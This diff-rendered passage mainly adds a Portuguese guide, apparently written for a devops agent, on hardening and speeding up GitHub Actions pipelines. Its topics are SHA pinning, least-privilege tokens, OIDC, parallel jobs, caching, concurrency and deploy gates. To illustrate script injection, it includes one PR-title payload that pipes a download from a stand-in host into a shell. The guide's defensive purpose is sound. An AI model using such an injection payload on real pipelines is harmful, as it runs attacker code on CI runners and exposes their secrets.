| Manter coluna velha/nova coerentes na janela | trigger de dual-write (`BEFORE INSERT/UPDATE`) com `up`/`down` | confiar que o app escreve nas duas |
|
|
297
|
+
| Servir versões diferentes do app | schemas versionados + views + `search_path` por sessão | um schema só pra todos |
|
|
298
|
+
| Reverter antes de finalizar | `pgroll rollback` (coluna velha ainda viva) | nova migration corretiva no susto |
|
|
299
|
+
| Reverter após `complete` | nova migration expand/contract no sentido inverso | tentar "desfazer" o complete |
|
|
300
|
+
| DDL não coberta (zero-downtime) | escape hatch `sql` com `up`/`down`, ciente da perda de garantia | rodar DDL crua sem plano de `down` |
|
|
301
|
+
|
|
302
|
+
---
|
|
303
|
+
|
|
304
|
+
**Fonte:** [xataio/pgroll](https://github.com/xataio/pgroll) ·
|
|
305
|
+
[Expand/contract com pgroll](https://xata.io/blog/pgroll-expand-contract) ·
|
|
306
|
+
[Como o pgroll funciona por dentro](https://xata.io/blog/pgroll-internals) ·
|
|
307
|
+
[Guia pgroll (Neon)](https://neon.com/guides/pgroll) ·
|
|
308
|
+
[Postgres: CREATE INDEX](https://www.postgresql.org/docs/current/sql-createindex.html)
|
|
@@ -0,0 +1,318 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: cicd-pipeline-best-practices
|
|
3
|
+
domain: devops
|
|
4
|
+
agents: [devops]
|
|
5
|
+
when: "ao montar ou revisar um pipeline de CI/CD"
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# CI/CD Pipeline — seguro e rápido por padrão
|
|
9
|
+
|
|
10
|
+
## O problema
|
|
11
|
+
|
|
12
|
+
A maioria dos pipelines de GitHub Actions é escrita pra "ficar verde" e nunca mais é tocada. O
|
|
13
|
+
resultado é um workflow que funciona, mas que é **lento e uma porta de entrada para supply-chain
|
|
14
|
+
attack**. Os tells de um pipeline medíocre:
|
|
15
|
+
|
|
16
|
+
1. **Actions pinadas por tag** (`uses: actions/checkout@v4`). Tag é mutável — quem ganha write no
|
|
17
|
+
repo da action move o `v4` pra um commit malicioso. Foi exatamente assim que o
|
|
18
|
+
`tj-actions/changed-files` foi comprometido: um commit malicioso vazou os secrets de todos os
|
|
19
|
+
workflows que referenciavam por tag.
|
|
20
|
+
2. **Sem bloco `permissions`** — o workflow herda o default do repo, que costuma ser read/write em
|
|
21
|
+
tudo. Se uma dependência for comprometida, o `GITHUB_TOKEN` dá pra fazer push, criar release e
|
|
22
|
+
mexer em settings. Blast radius máximo.
|
|
23
|
+
3. **Secrets de longa duração** (`AWS_ACCESS_KEY_ID` em `secrets`) quando OIDC resolveria sem
|
|
24
|
+
guardar credencial nenhuma.
|
|
25
|
+
4. **Tudo num job só** — build, lint e test em sequência num único job, sem paralelismo, sem cache
|
|
26
|
+
de dependências. CI de 12 minutos que poderia ser de 3.
|
|
27
|
+
5. **Sem `concurrency`** — você empurra 3 commits e os 3 runs antigos continuam rodando até o fim,
|
|
28
|
+
queimando minutos de runner enquanto só o último importa.
|
|
29
|
+
6. **`${{ github.event.* }}` direto dentro de `run:`** — injeção de script. Um título de PR
|
|
30
|
+
`"; curl evil.sh | sh; "` executa no runner.
|
|
31
|
+
7. **Deploy sem gate** — `on: push` na main dispara deploy em produção sem reviewer, sem
|
|
32
|
+
environment, sem branch policy.
|
|
33
|
+
|
|
34
|
+
A régua deste pack: **toda decisão de pipeline precisa ter justificativa de segurança OU de
|
|
35
|
+
velocidade.** Default não-justificado é dívida.
|
|
36
|
+
|
|
37
|
+
## O conhecimento
|
|
38
|
+
|
|
39
|
+
### 1. PIN de actions por SHA completo, nunca por tag
|
|
40
|
+
|
|
41
|
+
Pinar no SHA de 40 caracteres é a **única** forma de usar uma action como release imutável. Amarre o
|
|
42
|
+
SHA a uma versão real (não a um commit arbitrário do default branch) e deixe a versão em comentário.
|
|
43
|
+
|
|
44
|
+
```yaml
|
|
45
|
+
# ruim — tag é mutável, pode ser movida pra um commit malicioso
|
|
46
|
+
- uses: actions/checkout@v4
|
|
47
|
+
- uses: actions/setup-node@v4
|
|
48
|
+
|
|
49
|
+
# bom — SHA completo + comentário com a versão pra Dependabot/humano rastrear
|
|
50
|
+
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
|
|
51
|
+
- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
> Dependabot **não** alerta sobre actions pinadas por SHA usando o ecossistema padrão — configure
|
|
55
|
+
> `package-ecosystem: "github-actions"` em `.github/dependabot.yml` pra ele propor o bump do SHA por
|
|
56
|
+
> você, mantendo o pin sem virar trabalho manual.
|
|
57
|
+
|
|
58
|
+
### 2. `permissions` least-privilege — read no topo, eleva por job
|
|
59
|
+
|
|
60
|
+
Workflow sem `permissions` herda o default do repo (geralmente read/write em tudo). Declare
|
|
61
|
+
`contents: read` no topo e **eleve só no job que precisa**.
|
|
62
|
+
|
|
63
|
+
```yaml
|
|
64
|
+
# ruim — sem bloco permissions: herda read/write em tudo
|
|
65
|
+
name: CI
|
|
66
|
+
on: [push]
|
|
67
|
+
jobs:
|
|
68
|
+
build: ...
|
|
69
|
+
|
|
70
|
+
# bom — default mínimo no topo, elevação cirúrgica por job
|
|
71
|
+
name: CI
|
|
72
|
+
on: [push]
|
|
73
|
+
|
|
74
|
+
permissions:
|
|
75
|
+
contents: read # default pra todos os jobs
|
|
76
|
+
|
|
77
|
+
jobs:
|
|
78
|
+
release:
|
|
79
|
+
permissions:
|
|
80
|
+
contents: write # só este job pode escrever (criar tag/release)
|
|
81
|
+
pull-requests: write
|
|
82
|
+
runs-on: ubuntu-latest
|
|
83
|
+
steps:
|
|
84
|
+
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
Escopos válidos do `GITHUB_TOKEN`: `contents`, `pull-requests`, `issues`, `deployments`, `checks`,
|
|
88
|
+
`statuses`, `packages`, `id-token`, `actions`, `security-events`. Para forçar que **cada** job
|
|
89
|
+
declare explicitamente o que precisa, use `permissions: {}` no topo (zera tudo).
|
|
90
|
+
|
|
91
|
+
### 3. OIDC no lugar de secrets de longa duração
|
|
92
|
+
|
|
93
|
+
Para autenticar em cloud (AWS/GCP/Azure), use OpenID Connect: o GitHub emite um JWT efêmero por run
|
|
94
|
+
e a cloud troca por credencial temporária. Você para de guardar `AWS_ACCESS_KEY_ID` como secret.
|
|
95
|
+
|
|
96
|
+
```yaml
|
|
97
|
+
# ruim — chave de longa duração no secrets store, vaza e vale pra sempre
|
|
98
|
+
jobs:
|
|
99
|
+
deploy:
|
|
100
|
+
runs-on: ubuntu-latest
|
|
101
|
+
steps:
|
|
102
|
+
- uses: aws-actions/configure-aws-credentials@v4
|
|
103
|
+
with:
|
|
104
|
+
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
|
|
105
|
+
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
|
|
106
|
+
|
|
107
|
+
# bom — OIDC: id-token: write + role-to-assume, zero credencial guardada
|
|
108
|
+
permissions:
|
|
109
|
+
id-token: write # obrigatório pro GitHub emitir o JWT
|
|
110
|
+
contents: read
|
|
111
|
+
jobs:
|
|
112
|
+
deploy:
|
|
113
|
+
runs-on: ubuntu-latest
|
|
114
|
+
steps:
|
|
115
|
+
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
|
|
116
|
+
with:
|
|
117
|
+
role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
|
|
118
|
+
aws-region: us-east-1
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
> O `id-token: write` precisa estar no job que faz a troca. Sem ele o GitHub não emite o JWT e o
|
|
122
|
+
> `configure-aws-credentials` falha.
|
|
123
|
+
|
|
124
|
+
### 4. Jobs separados (build / lint / test) com paralelismo
|
|
125
|
+
|
|
126
|
+
Um job monolítico serializa tudo. Separe em jobs paralelos e use `needs:` só onde há dependência
|
|
127
|
+
real. Lint e test não dependem um do outro — rodam em paralelo.
|
|
128
|
+
|
|
129
|
+
```yaml
|
|
130
|
+
# ruim — tudo num job, serializado, ~12 min
|
|
131
|
+
jobs:
|
|
132
|
+
ci:
|
|
133
|
+
runs-on: ubuntu-latest
|
|
134
|
+
steps:
|
|
135
|
+
- run: npm ci
|
|
136
|
+
- run: npm run lint
|
|
137
|
+
- run: npm test
|
|
138
|
+
- run: npm run build
|
|
139
|
+
|
|
140
|
+
# bom — lint e test em paralelo; build espera o que importa
|
|
141
|
+
jobs:
|
|
142
|
+
lint:
|
|
143
|
+
runs-on: ubuntu-latest
|
|
144
|
+
steps:
|
|
145
|
+
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
|
|
146
|
+
- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
|
|
147
|
+
with: { node-version: 20, cache: npm }
|
|
148
|
+
- run: npm ci
|
|
149
|
+
- run: npm run lint
|
|
150
|
+
|
|
151
|
+
test:
|
|
152
|
+
runs-on: ubuntu-latest
|
|
153
|
+
steps:
|
|
154
|
+
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
|
|
155
|
+
- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
|
|
156
|
+
with: { node-version: 20, cache: npm }
|
|
157
|
+
- run: npm ci
|
|
158
|
+
- run: npm test
|
|
159
|
+
|
|
160
|
+
build:
|
|
161
|
+
needs: [lint, test] # só builda se lint e test passarem
|
|
162
|
+
runs-on: ubuntu-latest
|
|
163
|
+
steps:
|
|
164
|
+
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
|
|
165
|
+
- run: npm ci && npm run build
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
### 5. Cache de dependências — built-in do setup-node
|
|
169
|
+
|
|
170
|
+
Não monte cache de `node_modules` na mão. O `setup-node` cacheia via `actions/cache` por baixo, com
|
|
171
|
+
chave derivada do lockfile. Para casos fora dele (ex.: `.next/cache`), use `actions/cache` explícito.
|
|
172
|
+
|
|
173
|
+
```yaml
|
|
174
|
+
# bom — cache automático de npm/yarn/pnpm pelo próprio setup-node
|
|
175
|
+
- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
|
|
176
|
+
with:
|
|
177
|
+
node-version: 20
|
|
178
|
+
cache: npm # invalida sozinho quando o package-lock.json muda
|
|
179
|
+
|
|
180
|
+
# bom — cache explícito pra build artifacts (chave no lockfile)
|
|
181
|
+
- uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94ea4f9 # v4.0.2
|
|
182
|
+
with:
|
|
183
|
+
path: .next/cache
|
|
184
|
+
key: ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
### 6. Matrix para cobrir versões sem multiplicar workflow
|
|
188
|
+
|
|
189
|
+
Use `strategy.matrix` pra rodar a mesma suíte em várias versões/OS. Em CI de PR, `fail-fast: true`
|
|
190
|
+
(default) economiza runner abortando ao primeiro fail; em release, `fail-fast: false` para ver
|
|
191
|
+
**todas** as falhas de uma vez.
|
|
192
|
+
|
|
193
|
+
```yaml
|
|
194
|
+
# bom — uma definição, N combinações
|
|
195
|
+
strategy:
|
|
196
|
+
fail-fast: false # vê todas as falhas, não para na primeira
|
|
197
|
+
matrix:
|
|
198
|
+
node-version: [18, 20, 22]
|
|
199
|
+
os: [ubuntu-latest, windows-latest]
|
|
200
|
+
runs-on: ${{ matrix.os }}
|
|
201
|
+
steps:
|
|
202
|
+
- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
|
|
203
|
+
with:
|
|
204
|
+
node-version: ${{ matrix.node-version }}
|
|
205
|
+
cache: npm
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
### 7. `concurrency` — cancela runs obsoletos
|
|
209
|
+
|
|
210
|
+
Sem isso, cada push novo deixa os runs antigos rodando até o fim. Agrupe por workflow + ref e
|
|
211
|
+
cancele o que está em andamento. Para PR, use `head_ref` com fallback no `run_id` (evita cancelar
|
|
212
|
+
runs de push da main entre si).
|
|
213
|
+
|
|
214
|
+
```yaml
|
|
215
|
+
# bom — novo push no mesmo branch cancela o run anterior daquele branch
|
|
216
|
+
concurrency:
|
|
217
|
+
group: ${{ github.workflow }}-${{ github.ref }}
|
|
218
|
+
cancel-in-progress: true
|
|
219
|
+
|
|
220
|
+
# bom — variante PR-safe: agrupa por head_ref, cai pro run_id fora de PR
|
|
221
|
+
concurrency:
|
|
222
|
+
group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
|
|
223
|
+
cancel-in-progress: true
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
> **Não** ative `cancel-in-progress: true` em jobs de **deploy/produção** — cancelar um deploy no
|
|
227
|
+
> meio pode deixar o ambiente num estado parcial. Use grupo de concorrência sem cancelamento
|
|
228
|
+
> (`cancel-in-progress: false`) pra serializar deploys.
|
|
229
|
+
|
|
230
|
+
### 8. Não interpole `github.event.*` dentro de `run:` (injeção de script)
|
|
231
|
+
|
|
232
|
+
Contexto controlado pelo atacante (título de PR, nome de branch, corpo de issue) interpolado direto
|
|
233
|
+
no shell vira execução de código. Passe por `env:` — aí o valor vira variável e não toca a geração
|
|
234
|
+
do script.
|
|
235
|
+
|
|
236
|
+
```yaml
|
|
237
|
+
# ruim — título de PR malicioso executa no runner
|
|
238
|
+
- run: echo "PR: ${{ github.event.pull_request.title }}"
|
|
239
|
+
|
|
240
|
+
# bom — valor vai pra env var, tratado como dado, não como código
|
|
241
|
+
- name: Check PR title
|
|
242
|
+
env:
|
|
243
|
+
TITLE: ${{ github.event.pull_request.title }}
|
|
244
|
+
run: echo "PR: $TITLE"
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
> Evite `pull_request_target` e `workflow_run` com checkout de código não confiável — eles rodam com
|
|
248
|
+
> o token do repo base. Se precisar testar PR de fork, use `on: pull_request` (token sem permissão
|
|
249
|
+
> de write e sem secrets por padrão).
|
|
250
|
+
|
|
251
|
+
### 9. Gates obrigatórios antes do merge e do deploy
|
|
252
|
+
|
|
253
|
+
Velocidade não pode atropelar controle. Duas camadas:
|
|
254
|
+
|
|
255
|
+
- **Branch protection (merge gate):** marque os jobs `lint`, `test`, `build` como **required status
|
|
256
|
+
checks** na proteção do branch. PR não mergeia se algum falhar. Exija PR review e, opcionalmente,
|
|
257
|
+
CODEOWNERS em `.github/workflows/` pra que mudança no próprio pipeline passe por reviewer.
|
|
258
|
+
- **Environments (deploy gate):** o job de deploy referencia um `environment:` com **required
|
|
259
|
+
reviewers** (até 6 pessoas/times; basta 1 aprovar) e **deployment branch policy** (só `main`
|
|
260
|
+
deploya em prod). Habilite *prevent self-review*.
|
|
261
|
+
|
|
262
|
+
```yaml
|
|
263
|
+
# bom — deploy travado atrás de environment com reviewer + secret só desse ambiente
|
|
264
|
+
jobs:
|
|
265
|
+
deploy-prod:
|
|
266
|
+
needs: [build]
|
|
267
|
+
runs-on: ubuntu-latest
|
|
268
|
+
environment:
|
|
269
|
+
name: production # required reviewers + branch policy configurados na UI/API
|
|
270
|
+
url: https://app.exemplo.com
|
|
271
|
+
permissions:
|
|
272
|
+
id-token: write
|
|
273
|
+
contents: read
|
|
274
|
+
steps:
|
|
275
|
+
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
|
|
276
|
+
- run: ./deploy.sh
|
|
277
|
+
```
|
|
278
|
+
|
|
279
|
+
```text
|
|
280
|
+
# bom — .github/CODEOWNERS: mudança no pipeline exige aprovação do time
|
|
281
|
+
.github/workflows/ @org/devops
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
## Checklist
|
|
285
|
+
|
|
286
|
+
Antes de aprovar um pipeline — qualquer "não" é dívida a corrigir:
|
|
287
|
+
|
|
288
|
+
- [ ] Toda action está pinada por **SHA de 40 chars** com comentário de versão (nenhuma `@v4`/`@main`)?
|
|
289
|
+
- [ ] Existe bloco `permissions:` com `contents: read` no topo, elevando só nos jobs que precisam?
|
|
290
|
+
- [ ] Autenticação em cloud usa **OIDC** (`id-token: write` + `role-to-assume`), sem chave de longa duração em `secrets`?
|
|
291
|
+
- [ ] Build, lint e test estão em **jobs separados**, com `needs:` só onde há dependência real?
|
|
292
|
+
- [ ] Dependências têm **cache** (`cache: npm` no setup-node ou `actions/cache` com chave no lockfile)?
|
|
293
|
+
- [ ] Há `concurrency` com `cancel-in-progress: true` em CI (e **sem** cancelamento em deploy)?
|
|
294
|
+
- [ ] Nenhum `${{ github.event.* }}` interpolado direto em `run:` — tudo passa por `env:`?
|
|
295
|
+
- [ ] Os checks de CI são **required status checks** na branch protection?
|
|
296
|
+
- [ ] Deploy em prod está atrás de `environment:` com **required reviewers** e branch policy?
|
|
297
|
+
- [ ] `.github/dependabot.yml` tem `package-ecosystem: "github-actions"` pra bump dos SHAs?
|
|
298
|
+
|
|
299
|
+
## Tabela de decisão
|
|
300
|
+
|
|
301
|
+
| Situação | Faça isto | Por quê |
|
|
302
|
+
|---|---|---|
|
|
303
|
+
| Referenciar uma action de terceiro | Pin no SHA de 40 chars + comentário `# vX.Y.Z` | Tag é mutável; SHA é imutável (caso `tj-actions/changed-files`) |
|
|
304
|
+
| Action é oficial (`actions/*`) | Mesmo assim, pin no SHA | Conta/org da action pode ser comprometida; pin protege igual |
|
|
305
|
+
| Workflow só lê código e roda testes | `permissions: { contents: read }` no topo | Default do repo costuma ser read/write — blast radius máximo |
|
|
306
|
+
| Job precisa criar tag/release/comentar PR | Elevar `contents: write` / `pull-requests: write` **só nesse job** | Least-privilege: o resto do workflow continua read-only |
|
|
307
|
+
| Deploy em AWS/GCP/Azure | OIDC (`id-token: write` + role) | Elimina credencial de longa duração que vaza e vale pra sempre |
|
|
308
|
+
| Lint e test independentes | Jobs paralelos, sem `needs` entre eles | Paraleliza; corta tempo de parede do CI |
|
|
309
|
+
| Build depende de lint+test verdes | `needs: [lint, test]` | Não desperdiça runner buildando código que já falhou |
|
|
310
|
+
| Cobrir várias versões de Node/OS | `strategy.matrix` | Uma definição, N combinações; sem duplicar workflow |
|
|
311
|
+
| CI de PR com matrix | `fail-fast: true` (default) | Aborta cedo, economiza runner |
|
|
312
|
+
| Suíte de release/diagnóstico | `fail-fast: false` | Quer ver **todas** as falhas de uma vez |
|
|
313
|
+
| Pushes frequentes no mesmo branch | `concurrency` + `cancel-in-progress: true` | Cancela runs obsoletos; só o último importa |
|
|
314
|
+
| Job de deploy / migração de prod | `concurrency` com `cancel-in-progress: false` | Cancelar no meio deixa ambiente em estado parcial |
|
|
315
|
+
| Usar título de PR / branch name no script | Passar por `env:`, nunca `${{ }}` em `run:` | Previne injeção de script via input controlado pelo atacante |
|
|
316
|
+
| Testar PR de fork | `on: pull_request` (não `pull_request_target`) | Token sem write e sem secrets; não checa out código não confiável com token privilegiado |
|
|
317
|
+
| Bloquear merge sem CI verde | Marcar jobs como required status checks | Gate determinístico no branch protection |
|
|
318
|
+
| Bloquear deploy sem aprovação humana | `environment:` com required reviewers + branch policy | Gate de produção; *prevent self-review* fecha o loop |
|